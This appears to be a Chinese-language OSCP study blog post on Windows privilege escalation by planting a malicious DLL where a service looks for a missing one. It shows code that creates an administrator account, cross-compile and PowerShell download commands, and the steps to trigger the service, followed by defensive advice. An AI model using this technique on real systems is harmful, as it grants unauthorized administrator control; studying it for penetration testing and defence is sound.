欢迎光临
我们一直在努力

⓫⁄₁₀ ⟦ OSCP ⬖ 研记 ⟧ Windows权限提升 ➱ 动态链接库(dll)文件劫持(下)

        郑重声明:本文所涉安全技术仅限用于合法研究与学习目的,严禁任何形式的非法利用。因不当使用所导致的一切法律与经济责任,本人概不负责。任何形式的转载均须明确标注原文出处,且不得用于商业目的。

🔋 点赞 | 能量注入 ❤️ 关注 | 信号锁定 🔔 收藏 | 数据归档 ⭐️ 评论 | 保持连接💬

🌌 立即前往 👉晖度丨安全视界🚀​

​​​​

▶ 信息收集  ▶ 漏洞检测 ▶ 初始立足点  ▶ 权限提升 ➢ Windows权限提升 ➢ 动态链接库(dll)文件劫持(下) 🔥🔥🔥 ▶ 横向移动 ▶ 报告/分析 ▶ 教训/修复

目录

1.Windows权限提升

1.1 Windows服务DLL劫持攻击

1.1.3 利用缺失DLL的服务劫持攻击实践

1.1.3.3 恶意DLL创建与部署

1.附加DLL的DllMain函数概述

2.查看附件DLL代码

3.复用前文的恶意二进制文件的C代码

4.在附加DLL代码中插入恶意二进制文件的C代码

5.编译与部署dll文件

1.1.3.4 再次重启BetaService服务(执行DLL文件)

1.1.4 DLL劫持提权攻击总结

欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论


1.Windows权限提升

      在渗透测试中,我们通常以非特权用户身份获得初始立足点。但为了深入探测(如搜索敏感信息、提取密码哈希等),往往需要提升至管理员权限(比如:使用Mimikatz提取密码哈希),这个过程就是特权提升。

📊 权限提升三大路径:本文开始介绍:动态链接库(dll)文件劫持。

阶段目标关键方法
1. 枚举Windows 获取系统情报 手动搜索 + 自动化工具
2. 滥用Windows服务 攻击服务漏洞 服务配置缺陷、权限滥用
3. 利用其他组件 扩大攻击面 计划任务、系统漏洞利用

1.1 Windows服务DLL劫持攻击

      “替换服务的二进制文件”是尝试在Windows系统上提升权限的一种非常有效的方法。然而,由于普通用户通常没有权限替换这些二进制文件时,需要采用更高级的方式来利用Windows服务。

1.1.3 利用缺失DLL的服务劫持攻击实践

接前文。

1.1.3.3 恶意DLL创建与部署
1.附加DLL的DllMain函数概述

      在创建DLL之前,简要回顾一下附加DLL的工作原理以及它如何引导我们执行代码。

      每个DLL都有一个名为DlIMain的可选入口点函数,该函数在进程或线程附加DLL时执行。简而言之,DIMain是DLL的“启动函数”,它用于执行 DLL加载时需要的初始化工作。

      DllMain函数通常处理DLL加载、初始化和清理的任务。、

      当DLL被进程或线程附加(ATTACH)/分离(DETACH)时,操作系统会自动调用此函数。

      在DIlMain函数中,会看到四种常见的事件处理情况,通常通过switch或if语句来区分:

🔄 四种事件处理类型:

事件类型触发时机主要用途攻击利用价值
DLL_PROCESS_ATTACH 进程首次加载DLL时 全局资源初始化 ⭐⭐⭐ 主要攻击入口
DLL_THREAD_ATTACH 新线程加载该DLL时 线程特定资源初始化 ⭐⭐ 潜在攻击点
DLL_THREAD_DETACH 线程卸载DLL时 线程资源清理 ⭐ 清理痕迹
DLL_PROCESS_DETACH 进程卸载DLL时 全局资源清理 ⭐ 后期操作

🎯 攻击利用重点:

DLL_PROCESS_ATTACH是攻击者最关注的入口点,在DLL被加载时自动执行恶意代码。因为:

  • 自动执行:DLL被加载时立即自动运行

  • 隐蔽性强:正常的初始化过程不易被怀疑

  • 权限继承:以加载进程的权限执行代码

  • ⚠️ 若无DllMain的情况:

          如果DLL文件不提供DIMain入口点函数,那么:

    • 仅作为资源库:提供函数、数据供调用

    • 无自动执行代码:加载/卸载时不执行任何特定任务

    • 被动存在:完全由调用方控制使用时机


    2.查看附件DLL代码

          下面的示例代码来自Microsoft,概述一个包含这四种情况的基本C++ DLL。DLL代码包含了入口点函数DllMain和之前提到的这四种情况的switch语句。根据ul_reason_for_call的值,执行其中一种情况。目前,所有情况都只使用了break语句。

          Microsoft提供的注释说明:DLL_PROCESS_ATTACH用于在进程加载DLL时使用。由于示例中的目标服务二进制进程尝试加载DLL,这里就是我们需要添加代码地方了。

    3.复用前文的恶意二进制文件的C代码

          前文中,构建恶意二进制文件的C代码在此可复用,并将其添加到C++ DLL代码中。重述C代码作用:使用system函数创建一个名为dave2的用户,并将该用户添加到本地管理员组中。

    // 复用的提权代码
    system("net user dave2 Password123! /add");
    system("net localgroup administrators dave2 /add");

    4.在附加DLL代码中插入恶意二进制文件的C代码

    📝 头文件添加

    头文件作用必要性
    windows.h 提供Windows API和数据类型(如BOOL) 🔴 必需,否则编译失败
    stdlib.h 提供system()函数支持 🟢 可选但推荐,确保代码清晰

    代码作用:在BetaService服务启动时调用入口函数DLLMain,在进程或线程附加DLL时调用,被加载到内存中时执行恶意代码(添加管理员用户)。


    5.编译与部署dll文件

    📊 操作步骤表:

    步骤命令/操作目的
    1. 编译DLL x86_64-w64-mingw32-gcc myDLL.cpp –shared -o myDLL.dll 生成64位Windows DLL
    2. 启动传输服务 Kali:python3 -m http.server 80 建立文件下载点
    3. 目标机下载 PowerShell:iwr http://<IP>/myDLL.dll -OutFile myDLL.dll 获取恶意DLL
    4. 精准放置 存放到C:\\Users\\steve\\Documents\\ DLL搜索顺序第1位
    5. 前置验证 net user dave2 确认目标用户不存在

    ①编译为.dll文件

    $ x86_64-w64-mingw32-gcc myDLL.cpp –shared -o myDLL.dll

    🎯 关键编译参数解析

    参数作用重要性
    –shared 生成共享库(DLL)而非可执行文件 🔑 核心参数
    -o myDLL.dll 指定输出文件名,与缺失DLL同名 🎯 攻击必要条件
    x86_64-w64-mingw32-gcc 针对64位Windows的交叉编译器 🖥️ 环境适配
    myDLL.cpp

    待编译的源代码文件。

    myDLL.cpp是C++源代码文件,即:上面的代码。

    🚀 源代码文件

    ②把编译的新myDLL.dll传输到目标主机

          将myDLL.dll其传输到目标主机CLIENTWK220上。详见上表的步骤2、3。

    注意:上表的步骤4、5。

    1.把新myDLL.dll放在C:\\Users\\steve\\Documents路径下(DLL搜索顺序1)。

    2.此外,使用net user命令确认系统上尚不存在dave2。


    1.1.3.4 再次重启BetaService服务(执行DLL文件)

     🔄 攻击触发流程:

          让重新启动BetaService服务,DLL被加载到进程中,并且在DLL_PROCESS_ATTACH中执行代码:创建用户dave2作为本地Administrators 组成员。

    验证项目预期结果实际结果状态
    DLL加载 myDLL.dll被BetaService加载 ✅ 搜索到并加载了恶意DLL ✔️ 成功
    代码执行 DLL_PROCESS_ATTACH中代码执行 ✅ 创建用户dave2的命令执行 ✔️ 成功
    权限提升 dave2加入Administrators组 ✅ dave2成为管理员成员 ✔️ 成功
    攻击链完整 服务重启触发整个攻击流程 ✅ 全部按计划完成 🎉 完全成功

    📍 放置位置策略

    "第一搜索路径 + 用户可写权限 = 最高成功率"

    • 路径优先级:应用程序目录(第1位)→ 确保最先被加载

    • 权限优势:steve用户对该目录拥有完全控制权

    • 隐蔽性:放置在用户文档目录,不易引起怀疑


    1.1.4 DLL劫持提权攻击总结

    攻击步骤关键发现/操作结果/影响
    🔍 侦察分析 使用Process Monitor发现BetaService尝试加载myDLL.dll 确认DLL缺失漏洞存在
    🗺️ 路径分析 服务二进制位于C:\\Users\\steve\\Documents\\,这是DLL搜索顺序第一位 确认该目录用户可写,具备攻击条件
    🛠️ 武器制作 编译恶意DLL并命名为myDLL.dll,植入DLL_PROCESS_ATTACH提权代码 创建自动执行的恶意载荷
    📂 文件部署 将恶意DLL放置于C:\\Users\\steve\\Documents\\myDLL.dll 确保服务重启时优先加载恶意DLL
    🔄 触发执行 重启BetaService服务,触发DLL加载流程 恶意代码以服务权限(SYSTEM)执行
    🎯 权限提升 恶意代码创建用户dave2并加入本地管理员组 成功获得管理员权限,实现权限提升

    💎 核心攻击链

    发现缺失DLL → 分析可写优先路径 → 制作同名恶意DLL → 放置到搜索路径 → 重启服务触发 → 获得管理员权限

    ⚠️ 安全启示

    • 服务依赖管理:确保服务安装完整,避免缺失DLL

    • 文件权限控制:严格限制用户对应用程序目录的写入权限

    • DLL加载监控:监控服务加载非系统目录DLL的行为

    • 最小权限原则:服务账户避免使用SYSTEM等高权限账户


    欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论

    每一份支持,都是我持续输出的光。

    赞(0)
    未经允许不得转载:171主机测评 » ⓫⁄₁₀ ⟦ OSCP ⬖ 研记 ⟧ Windows权限提升 ➱ 动态链接库(dll)文件劫持(下)
    分享到: 更多 (0)

    评论 抢沙发

    • 昵称 (必填)
    • 邮箱 (必填)
    • 网址